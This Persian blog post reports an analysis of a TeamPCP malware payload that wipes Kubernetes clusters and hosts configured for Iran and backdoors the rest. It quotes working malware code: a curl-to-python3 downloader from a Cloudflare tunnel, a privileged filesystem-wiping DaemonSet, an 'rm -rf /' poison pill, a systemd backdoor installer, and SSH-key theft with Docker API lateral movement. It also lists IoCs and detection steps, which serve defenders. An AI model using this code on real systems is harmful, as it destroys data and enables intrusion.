در این پست گزارش اخیر محققای Aikido در خصوص پاکسازی کوبرنتیزهای ایرانی توسط گروه هکری TeamPCP رو بررسی کردیم.
محققای Aikido یک پیلود جدید در زرادخانه TeamPCP پیدا کردن که فقط اعتبارنامهها رو نمیدزده یا بکدور نصب نمیکنه. این پیلود جدید، کل کلاسترهای کوبرنتیز (Kubernetes) رو پاکسازی میکنه.
این اسکریپت دقیقاً از همان دامنه ای که در کمپین CanisterWorm مستند کردن، استفاده میکنه (tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io). همان C2، همان کد بکدور، همان مسیر استقرار /tmp/pglog. حرکت جانبی کوبرنتیز از طریق DaemonSetها با روش شناختهشده TeamPCP مطابقت داره، اما این نوع جدید چیزی رو اضافه کرده که قبلاً مشاهده نکردن: یک پیلود مخرب با هدف ژئوپلیتیکی که به طور خاص سیستمهای ایرانی رو هدف قرار میده.
خلاصه ای از مهمترین مشاهدات:
با توجه به این که این پست حاوی جزئیات فنی زیادی است، در اینجا خلاصهای از مهمترین مشاهدات محققا آورده شده:
- همان دامنه C2 در CanisterWorm استفاده شده. (tdtqy-oyaaa-aaaae-af2dq-cai)
- پیلود منطقه زمانی و زبان رو برای شناسایی سیستمهای ایرانی بررسی میکنه.
- در کوبرنیتز: DaemonSetهای با امتیاز بالا رو در هر گره، از جمله Control Plane، مستقر میکنه.
- گرههای ایرانی پاکسازی شده و از طریق یک کانتینر به نام kamikaze راهاندازی مجدد میشن.
- گرههای غیرایرانی، بکدور CanisterWorm رو به عنوان یک سرویس systemd، نصب میکنن.
- میزبانهای غیر کوبرنتیز ایرانی دستور rm -rf / –no-preserve-root رو دریافت میکنن.
- برای پرسیست از نام ابزارهای PostgreSQL ( مانند pglog، pg_state، internal-monitor) برای مخفی کاری استفاده میکنه.
- از چندین دامنه تونل Cloudflare، به عنوان زیرساخت تحویل پیلود، که بصورت مکرر تغییر میکنن، استفاده کردن.
- جدیدترین نوع حرکت جانبی مبتنی بر شبکه رو اضافه کردن.
- توزیع با SSH از طریق کلیدهای سرقتشده و تجزیه لاگ احراز هویت.
- سوء استفاده از Docker APIهای در معرض دید در پورت ۲۳۷۵ در زیرشبکه محلی.
مرحله اول:
محققا در ابتدا مشاهده کردن که اسکریپت به آدرس زیر اشاره میکنه که حاوی یک پیلود واحد بوده :
|
1 |
https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh |
اما بعدا مهاجم، همانطور که در زیر قابل مشاهده هستش، پیلود رو به دو فایل جداگانه تقسیم کرده:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
#!/usr/bin/env bash set -euo pipefail if ! command -v kubectl &>/dev/null; then ARCH="amd64" [[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64" curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl chmod +x /tmp/kubectl export PATH="/tmp:$PATH" fi PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py" curl -L -s "$PY_URL" | python3 - rm -- "$0" |
کاری که این اسکریپت انجام میده، به این صورت است:
- اول بررسی میکنه که آیا ابزار
kubectl(ابزار خط فرمان برای مدیریت Kubernetes) روی سیستم نصب است یا نه. اگه نصب نبود، اون رو دانلود میکنه. - بعدش فایل
kube.pyرو از همان آدرس اینترنتی دانلود و اجرا میکنه. - در نهایت، خودش رو حذف میکنه تا هیچ ردپایی باقی نذاره.
قسمت جالب ماجرا درون همان فایل kube.py هستش. در زیر، چند خط آخرش رو مشاهده میکنید که به وضوح هدف اصلی بدافزار رو نشان میده:
|
1 2 3 4 5 6 7 8 9 10 |
if __name__ == "__main__": if is_k8s(): if is_iran(): deploy_destructive_ds() else: deploy_std_ds() else: if is_iran(): poison_pill() sys.exit(1) |
چطوری هدفش رو انتخاب میکنه؟
اولین کاری که اسکریپت میکنه، بررسی این است که کجا داره اجرا میشه. این کار رو با دو بررسی انجام میده:
|
1 2 3 |
def is_k8s(): return os.path.exists("/var/run/secrets/kubernetes.io/serviceaccount") or \ "KUBERNETES_SERVICE_HOST" in os.environ |
این تابع بررسی میکنه که آیا کد درون یک پاد (Pod) در محیط کوبرنتیز اجرا میشه یا نه. به طور پیشفرض، هر پاد در کوبرنتیز یک حساب سرویس (service account) در مسیر مشخصی داره که وجود اون نشان دهندهی حضور در این محیط است.
بعدش این کدها اجرا میشه:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
def is_iran(): tz = "" if os.path.exists("/etc/timezone"): with open("/etc/timezone", "r") as f: tz = f.read().strip() else: try: tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", "--value"], stderr=subprocess.DEVNULL).decode().strip() except: pass lang = os.environ.get("LANG", "") return tz in ["Asia/Tehran", "Iran"] or "fa_IR" in lang |
این تابع، منطقه زمانی (Timezone) و زبان (Locale) سیستم رو بررسی میکنه. اگه سیستم برای ایران پیکربندی شده باشه (یعنی منطقه زمانی اون Asia/Tehran یا Iran باشه، یا زبان آن fa_IR باشه)، بدافزار مسیر کاملاً متفاوتی رو در پیش میگیره.
چهار مسیر، یک اسکریپت:
درخت تصمیمگیری این بدافزار ساده و بیرحمانه است:
- کوبرنتیز + ایران: یک DaemonSet (برنامهی مخرب) مستقر میکنه که همهی گرههای کلاستر رو پاک میکنه.
- کوبرنتیز + غیر از ایران: یک DaemonSet مستقر میکنه که روی هر گره، بکدور CanisterWorm رو نصب میکنه.
- غیر کوبرنتیز+ ایران: دستور
rm -rf / --no-preserve-rootرو اجرا میکنه که یعنی کل سیستمعامل و تمام فایلها رو به طور کامل و غیرقابل بازگشت حذف میکنه. - غیر کوبرنتیز + غیر از ایران: کاری نمیکنه و از برنامه خارج میشه.
پاک کننده kamikaze:
نام DaemonSet که سیستمهای ایرانی رو هدف قرار میده، host-provisioner-iran است. نام کانتینر درون اون هم kamikaze گذاشته شده. این نامگذاری، اصلاً چیز عجیبی نیست و به وضوح نشاندهندهی هدف تخریبی اون است.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
def deploy_destructive_ds(): ds_name = "host-provisioner-iran" if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0: return yaml = f""" apiVersion: apps/v1 kind: DaemonSet metadata: name: {ds_name} namespace: kube-system spec: selector: matchLabels: name: {ds_name} template: metadata: labels: name: {ds_name} spec: hostNetwork: true hostPID: true tolerations: - operator: Exists containers: - name: kamikaze image: alpine:latest securityContext: privileged: true command: ["/bin/sh", "-c"] args: - | find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true chroot /mnt/host reboot -f volumeMounts: - name: host-root mountPath: /mnt/host volumes: - name: host-root hostPath: path: / """ subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode()) |
کاری که این DaemonSet انجام میده:
- سیستم فایل ریشه میزبان رو به مسیر
/mnt/hostمانت میکنه. - با بالاترین سطح دسترسی، تمام فایلها و دایرکتوریهای سطح بالای root رو حذف میکنه (به جز خود فولدر mnt).
- سپس سیستم میزبان رو به زور راهاندازی مجدد میکنه.
چون این یک DaemonSet است و با قابلیت tolerations: [operator: Exists] ساخته شده، روی همه گرههای کلاستر، از جمله سرور اصلی مدیریتکننده (control plane) اجرا میشه. فقط با یک دستور kubectl apply، تمام کلاستر کوبرنتیز، به طور کامل از کار می افته و هیچ راهی برای بازیابی اون وجود نداره.
مسیر ماندگاری:
برای اهدافی که در ایران نیستن، DaemonSet (با نام host-provisioner-std) به اندازه نوع ایرانی مخرب نیست، اما از نظر عملیاتی بسیار کاربردیتر است. این DaemonSet، بکدور CanisterWorm رو روی هر گره مینویسه و اون رو به عنوان یک سرویس سیستمی ثبت میکنه:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
def deploy_std_ds(): ds_name = "host-provisioner-std" if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0: return yaml = f""" apiVersion: apps/v1 kind: DaemonSet metadata: name: {ds_name} namespace: kube-system spec: selector: matchLabels: name: {ds_name} template: metadata: labels: name: {ds_name} spec: hostNetwork: true hostPID: true tolerations: - operator: Exists containers: - name: provisioner image: alpine:latest securityContext: privileged: true command: ["/bin/sh", "-c"] args: - | mkdir -p /mnt/host{CONFIG['TARGET_DIR']} echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py cat <<EOF_UNIT > /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service [Unit] Description=System Monitor After=network.target [Service] ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py Restart=always RestartSec=5 [Install] WantedBy=multi-user.target EOF_UNIT chroot /mnt/host systemctl daemon-reload chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']} sleep infinity volumeMounts: - name: host-root mountPath: /mnt/host volumes: - name: host-root hostPath: path: / """ subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode()) |
بکدور دقیقاً همان چیزی است که در پست مربوط به CanisterWorm مستند کردن. این بدافزار هر ۵۰ دقیقه یک بار درخواستی رو به C2 ارسال میکنه، تا آدرس یک فایل باینری رو دریافت کنه و هر چیزی که به اون دستور داده بشه رو دانلود و اجرا میکنه. سوئیچ غیرفعال کردن بدافزار، youtube[.]com هم همچنان در آن وجود داره.
قرص سمی:
برای سیستمهای ایرانی که در محیط کوبرنتیز اجرا نمیشن، رویکرد بدافزار ساده تر است:
|
1 2 3 4 5 6 |
def poison_pill(): cmd = "rm -rf / --no-preserve-root" if os.getuid() == 0: os.system(cmd) else: os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}") |
کاری که این کد انجام میده:
- ابتدا بررسی میکنه که آیا اسکریپت با دسترسی root اجرا شده یا نه.
- اگه بله، مستقیماً دستور
rm -rf / --no-preserve-rootرو اجرا میکنه که یعنی همهچیز رو از سیستمعامل و فایلها پاک کن. - اگه دسترسی root نداره، اول سعی میکنه با دستور
sudo -n(که یعنی اگه sudo بدون نیاز به رمز تنظیم شده) اون رو اجرا کنه. - اگه اون هم کار نکرد، در نهایت همان دستور رو مستقیماً اجرا میکنه.
حتی اگه بدافزار دسترسی root نداشته باشه، با اجرای دستور rm -rf در سطح کاربر، حداقل تمام فایلها و دادههایی که اون کاربر خاص به اونها دسترسی داره رو حذف میکنه و باعث خرابی و از کار افتادن سیستم میشه.
چرا این موضوع اهمیت داره:
گروه TeamPCP از اواخر سال ۲۰۲۵ به عنوان یک بازیگر تهدید مبتنی بر ابر شناسایی شده که هدف اون، پیکربندیهای نادرست Docker API، کلاسترهای کوبرنتیز و خطوط CI/CD هستش. روش کار اونا (شامل تشخیص محیط و انشعابهای خاص کوبرنتیز) همواره ثابت بوده. اما دو رویداد حمله به Trivy و کمپین CanisterWorm نشان داد که اونا قادر به فعالیت در مقیاس زنجیره تأمین هم هستن. و این پیلود جدید ثابت میکنه که هر زمان که اراده کنن، برای انجام اقدامات مخرب و تخریبگرانه هم آمادهاند.
چه چیزی را باید جستجو کنید
برای تشخیص این بدافزار در محیط Kubernetes، موارد زیر را بررسی کنید:
DaemonSetها رو در فضای نام kube-system چک کنید:
|
1 |
kubectl get ds -n kube-system |
به دنبال DaemonSetهایی با نامهای host-provisioner-iran یا host-provisioner-std باشید. همچنین هر DaemonSet که از mountPath: / با زمینه امنیتی با امتیاز بالا استفاده میکنه رو ارزیابی کنید. این ترکیب هرگز نباید در خارج از عوامل سطح زیرساخت، مانند خود kubelet وجود داشته باشه.
در سمت میزبان (سیستمعامل)، موارد زیر رو بررسی کنید:
- یک سرویس systemd به نام
internal-monitor(با دستورsystemctl status internal-monitorمیتونید وضعیت اون رو ببینید). - وجود فایل در مسیر
/var/lib/svc_internal/runner.py. - پروسس هایی با نام
pglogدر فولدر/tmp/. - اتصالات خروجی به دامنههای
icp0[.]io(که نشاندهنده ارتباط با C2 است).
نسخه ی جدید:
نسخهی سوم این پیلود به تازگی ظاهر شده و در آدرس زیر قرار داره.
|
1 |
https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py |
این نسخه شامل همان بکدور، همان پاککننده ایرانی هستش اما نیازی به کوبرنتیز نداره. این نسخه بهتنهایی و بطور خودکار پخش میشه.
نسخههای قبلی برای حرکت در بین کلاستر به DaemonSet متکی بودن. این نوع جدید، اون روش رو به کلی کنار گذاشته و به جای اون از دو روش حرکت جانبی استفاده میکنه:
- سرقت کلیدهای SSH
- سوء استفاده از Docker APIهای در معرض دید.
همچنین زیرشبکهی محلی (/24) رو برای یافتن اهداف جدید اسکن میکنه.
اینجا نحوهی پیدا کردن ماشینهای هدف رو مشاهده میکنید:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
def get_accepted_targets(): targets = {} for path in ["/var/log/auth.log", "/var/log/secure"]: if os.path.exists(path): try: with open(path, "r") as f: for line in f: if "Accepted" in line: match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)', line) if match: user, ip = match.groups() if ip not in targets: targets[ip] = [] if user not in targets[ip]: targets[ip].append(user) except: pass return targets |
این تابع، فایلهای لاگ SSH (/var/log/auth.log و /var/log/secure) رو برای ورودهای موفق بررسی میکنه و نام کاربری و آدرس IP مبدأ رو استخراج میکنه. اینها تبدیل به جفتهای IP, Username برای توزیع میشن. برای هر IP دیگه ای که در زیرشبکه پیدا کنه و در لاگها نباشه، بهعنوان آخرین راهحل، نامهای کاربری پیشفرض مانند root، ubuntu، admin و ec2-user رو بررسی میکنه.
سپس، تمام کلیدهای خصوصی SSH که پیدا کرده رو جمع آوری میکنه:
|
1 2 3 4 5 |
keys = [] ssh_base = os.path.expanduser("~/.ssh") for t in ["id_rsa", "id_ed25519", "id_ecdsa"]: p = os.path.join(ssh_base, t) if os.path.exists(p): keys.append(p) |
برای هر هدف، دو پورت رو بررسی میکنه:
پورت ۲۲ (SSH): برای توزیع از طریق SSH، از کلیدهای دزدیدهشده استفاده میکنه:
|
1 2 3 |
cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "PasswordAuthentication=no", "-o", "ConnectTimeout=5", "-i", k, f"{user}@{ip}", f"echo {b64_logic} | base64 -d | bash"] |
پورت ۲۳۷۵ (Docker API): از Docker API در معرض دید سوءاستفاده میکنه و یک کانتینر با دسترسی root ایجاد میکنه که سیستم فایل میزبان رو مانت میکنه:
|
1 2 3 4 5 6 |
payload = { "Image": "alpine:latest", "Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"], "HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"} } conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"}) |
هر دو مسیر، همان پیلود get_remote_logic رو تحویل میدن که بررسی منطقهی زمانی ایران رو روی میزبان راهدور انجام میده. اهداف ایرانی پاک میشن و بقیه، بکدور pgmon.py رو به عنوان یک سرویس systemd نصب میکنن.
خود پاککننده هم تغییر کرده. نسخههای قبلی در میزبانهای غیرکوبرنتیز از دستور rm -rf / --no-preserve-root استفاده میکنن، در حالیکه نوع DaemonSet از روش find / -maxdepth 1 ... -exec rm -rf {} + با راهاندازی مجدد اجباری استفاده میکرد. این نسخه، برخلاف نسخههای قبلی که برای هر محیط روش جداگانهای داشتن، حالا از یک رویکرد واحد برای همه استفاده میکنه: پاکسازی با find و سپس راهاندازی مجدد اجباری با reboot -f.
|
1 |
find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -f |
این روش، مستقیماً از ابزارهای قبلی TeamPCP یعنی proxy.sh و pcpcat.py گرفته شده، جایی که اونا برای یافتن Docker APIهای در معرض دید و توزیع کلیدهای SSH در زیرشبکهها، اسکن می کردن. تفاوت در این است که اون ابزارها، اسکریپتهای مستقلی برای ساخت زیرساخت بودن، اما این یکی، بکدور CanisterWorm و پاککنندهی ایرانی رو مستقر میکنه.
تغییرات دیگه نسبت به نسخههای قبلی:
- نام سرویس از
internal-monitorبهpgmonitorتغییر کرده. - مسیر نصب از
/var/lib/svc_internal/به/var/lib/pgmon/منتقل شده. - توضیحات systemd اکنون “Postgres Monitor Service” است.
- استتار با نام PostgreSQL بیشتر شده و قاعدتاً این استتار، قویتر و منسجمتر شده.
IoCهای گزارش:
شبکه :
- tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io (C2)
- https://souls-entire-defined-routes.trycloudflare[.]com/ (تحویل پیلود اول)
- https://investigation-launches-hearings-copying.trycloudflare[.]com/ (تحویل پیلود دوم)
- https://championships-peoples-point-cassette.trycloudflare[.]com (تحویل پیلود سوم)
کوبرنتیز:
- DaemonSet
host-provisioner-iranدرkube-system - DaemonSet
host-provisioner-stdدرkube-system - نام کانتینر:
kamikaze,provisioner
میزبان:
/var/lib/svc_internal/runner.py/etc/systemd/system/internal-monitor.service/tmp/pglog/tmp/.pg_state/var/lib/pgmon/pgmon.py/etc/systemd/system/pgmonitor.service- Systemd service:
pgmonitor(Description: “Postgres Monitor Service”) - Systemd service:
internal-monitor
نشانه های حرکت جانبی:
برای تشخیص فعالیتهای مخرب و حرکت جانبی بدافزار در شبکه، به دنبال این نشانهها بگردید:
- اتصالات خروجی SSH که با گزینهی
StrictHostKeyChecking=noاز دستگاههای آلوده برقرار میشوند. (این گزینه باعث میشود که SSH بدون تأیید کلید میزبان، به هر سروری متصل بشه و نشاندهندهی فعالیت خودکار و مخرب است.) - اتصالات خروجی به پورت ۲۳۷۵ (که مربوط به Docker API است) در زیرشبکهی محلی. (این پورت اگه در معرض دید باشه، به مهاجم اجازه میده بدون احراز هویت، کانتینرهای مخرب ایجاد کنه.)
- ایجاد کانتینرهای Alpine با دسترسی سطح root از طریق Docker API بدون احراز هویت، که سیستم فایل میزبان رو به صورت کامل مانت میکنه. (این نشانهی مستقیم سوءاستفاده از Docker API برای نفوذ به میزبان است.)